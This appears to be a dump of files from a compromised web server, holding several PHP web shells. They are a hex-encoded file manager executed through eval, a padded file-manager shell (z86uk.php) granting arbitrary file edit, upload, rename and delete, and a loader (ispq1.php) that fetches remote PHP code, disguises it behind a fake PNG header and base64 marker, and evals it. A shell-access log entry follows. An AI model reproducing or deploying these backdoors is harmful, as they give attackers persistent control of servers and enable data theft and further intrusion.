2020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A61784564697427292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617852656E616D6527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844697227292E666F72456163682866756E6374696F6E286C696E6B29207B0A202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A2020202020202020652E70726576656E7444656661756C7428293B0A202020202020202077696E646F772E686973746F72792E707573685374617465286E756C6C2C2027272C206C696E6B2E68726566293B0A20202020202020206C6F616446696C654C69737428293B20202F2F2052656C6F6164207468652066696C65206C6973740A20202020202020206C6F616442726561646372756D6228293B202F2F2052656C6F6164207468652062726561646372756D620A2020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020726573657446696C65496E70757428293B0A202020207D293B0A7D293B0A7D0A0A66756E6374696F6E20617474616368416A6178466F726D2829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A6178466F726D27292E666F72456163682866756E6374696F6E28666F726D29207B0A2020202020202020666F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128666F726D293B0A202020202020202020202020666574636828666F726D2E616374696F6E2C207B206D6574686F643A2027504F5354272C20626F64793A20666F726D446174612C20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A7D0A0A66756E6374696F6E2061747461636843616E63656C4576656E742829207B0A202020207661722063616E63656C42746E203D20646F63756D656E742E676574456C656D656E7442794964282763616E63656C416374696F6E27293B0A2020202069662863616E63656C42746E29207B0A202020202020202063616E63656C42746E2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E2829207B0A202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020207D293B0A202020207D0A7D0A0A66756E6374696F6E20726573657446696C65496E7075742829207B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722066696C654C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966202866696C65496E70757429207B0A202020202020202066696C65496E7075742E76616C7565203D2022223B202F2F20436C65617220616E792073656C65637465642066696C650A202020207D0A202020206966202866696C654C6162656C29207B0A202020202020202066696C654C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B202F2F205265736574206C6162656C20746578740A202020207D0A7D0A0A646F63756D656E742E6164644576656E744C697374656E65722827444F4D436F6E74656E744C6F61646564272C2066756E6374696F6E2829207B0A20202020617474616368416A61784576656E747328293B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722075706C6F6164466F726D203D20646F63756D656E742E676574456C656D656E7442794964282775706C6F6164466F726D27293B0A0A2020202066696C65496E7075742E6164644576656E744C697374656E657228276368616E6765272C2066756E6374696F6E2829207B0A2020202020202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203E203029207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D2066696C65496E7075742E66696C65735B305D2E6E616D653B0A20202020202020207D20656C7365207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A20202020202020207D0A202020207D293B0A0A2020202069662875706C6F6164466F726D29207B0A202020202020202075706C6F6164466F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203D3D3D2030292072657475726E3B0A0A2020202020202020202020207661722066696C65203D2066696C65496E7075742E66696C65735B305D3B0A20202020202020202020202076617220726561646572203D206E65772046696C6552656164657228293B0A0A2020202020202020202020207265616465722E6F6E6C6F6164203D2066756E6374696F6E286576656E7429207B0A20202020202020202020202020202020766172206172726179427566666572203D206576656E742E7461726765742E726573756C743B0A20202020202020202020202020202020766172206279746573203D206E65772055696E74384172726179286172726179427566666572293B0A2020202020202020202020202020202076617220686578537472696E67203D2027273B0A20202020202020202020202020202020666F7220287661722069203D20303B2069203C2062797465732E6C656E6774683B20692B2B29207B0A2020202020202020202020202020202020202020686578537472696E67202B3D2062797465735B695D2E746F537472696E67283136292E706164537461727428322C20273027293B0A202020202020202020202020202020207D0A0A2020202020202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128293B0A20202020202020202020202020202020666F726D446174612E617070656E64282262656E6B796F222C2066696C652E6E616D65293B0A20202020202020202020202020202020666F726D446174612E617070656E64282264616B656A61222C20686578537472696E67293B0A0A2020202020202020202020202020202066657463682875706C6F6164466F726D2E616374696F6E207C7C2077696E646F772E6C6F636174696F6E2E687265662C207B0A20202020202020202020202020202020202020206D6574686F643A2027504F5354272C0A2020202020202020202020202020202020202020626F64793A20666F726D446174612C0A2020202020202020202020202020202020202020686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D0A202020202020202020202020202020207D290A202020202020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A202020202020202020202020202020202E7468656E2864617461203D3E207B0A202020202020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020202020202075706C6F6164466F726D2E726573657428293B0A2020202020202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020202020206C6F616446696C654C69737428293B0A202020202020202020202020202020207D293B0A2020202020202020202020207D3B0A0A2020202020202020202020207265616465722E72656164417341727261794275666665722866696C65293B0A20202020202020207D293B0A202020207D0A7D293B0A3C2F7363726970743E0A3C666F6F74657220636C6173733D226675746572223E0A0909090926636F70793B207A65696E686F726F626F73750A0909093C2F666F6F7465723E0A3C2F626F64793E0A3C2F68746D6C3E0A";$gstatic=binalar($list);return $gstatic;}}$hover=new plugin_binalar_eski();$letter=$hover->plugin_binalar_eskii();eval(jgkl().$letter);function jgkl(){}function binalar($margin){$background='';for($i=0;$i $item, 'path' => $full_path, 'size' => is_file($full_path) ? filesize($full_path) : 0, 'type' => is_dir($full_path) ? 'directory' : 'file', 'modified' => date('Y-m-d H:i:s', filemtime($full_path)) ]; } } return $files; } function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // ==================== REQUESTED DIRECTORY HANDLING ==================== $requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir); $current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : ''); $current_dir = safe_realpath_within($current_dir_candidate, $root_anchor); if($current_dir === false){ $requested_dir = basename($base_dir); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if($current_dir === false){ $requested_dir = ''; $current_dir = safe_realpath_within($root_anchor, $root_anchor); } } // ==================== PARENT DIRECTORY CALCULATION ==================== if($requested_dir !== ''){ $parent_dir = dirname($requested_dir); if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = ''; } else { $parent_dir = ''; } // ==================== BREADCRUMB ==================== $dir_parts = []; if($requested_dir !== ''){ $parts = explode('/', $requested_dir); $acc = ''; foreach($parts as $p){ if($p === '') continue; $acc .= ($acc === '' ? '' : '/') . $p; $dir_parts[] = ['name' => $p, 'path' => $acc]; } } // ==================== ACTION HANDLING ==================== $action = $_GET['action'] ?? 'list'; switch($action){ case 'view': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Type: text/plain'); readfile($file_path); exit; } break; case 'edit': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $content = $_POST['content'] ?? ''; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ file_put_contents($file_path, $content); } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; } if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ $content = htmlspecialchars(file_get_contents($file_path)); echo "Edit: ".htmlspecialchars($file).""; echo "

✏️ Edit: ".htmlspecialchars($file)."

"; echo "
"; echo "

"; echo " "; echo "🚫 Cancel"; echo "
"; exit; } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); } else { unlink($file_path); } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'upload': if(!empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ move_uploaded_file($uploaded['tmp_name'], $dest); @chmod($dest, 0644); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ mkdir($fp, 0755, true); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; } ?> 📁 File Manager

📁 File Manager

📍
📭

This folder is empty

Upload files or create new folders to get started

Name Type Size Modified Actions
about.PHP000064400000000363151550114050006226 0ustar00 AccessDeniedAccess DeniedE86AEB3YH7W1P4Y5lrT/cgm+Df6NUHZTiiTUL5UabL2kw55Ziu+sz+x1XScfRFozYLyC3JOXz7PWUe+rTZPAVevtDZA=z86uk.php000064400000026255151550114050006253 0ustar00]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> ispq1.php000064400000006027151550114050006314 0ustar00eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // -------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?> samurai_activity.log000064400000000304151551204700010621 0ustar00[2026-03-13 08:54:05] IP: 57.141.2.32 | Action: Shell Accessed | Target: 57.141.2.32 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)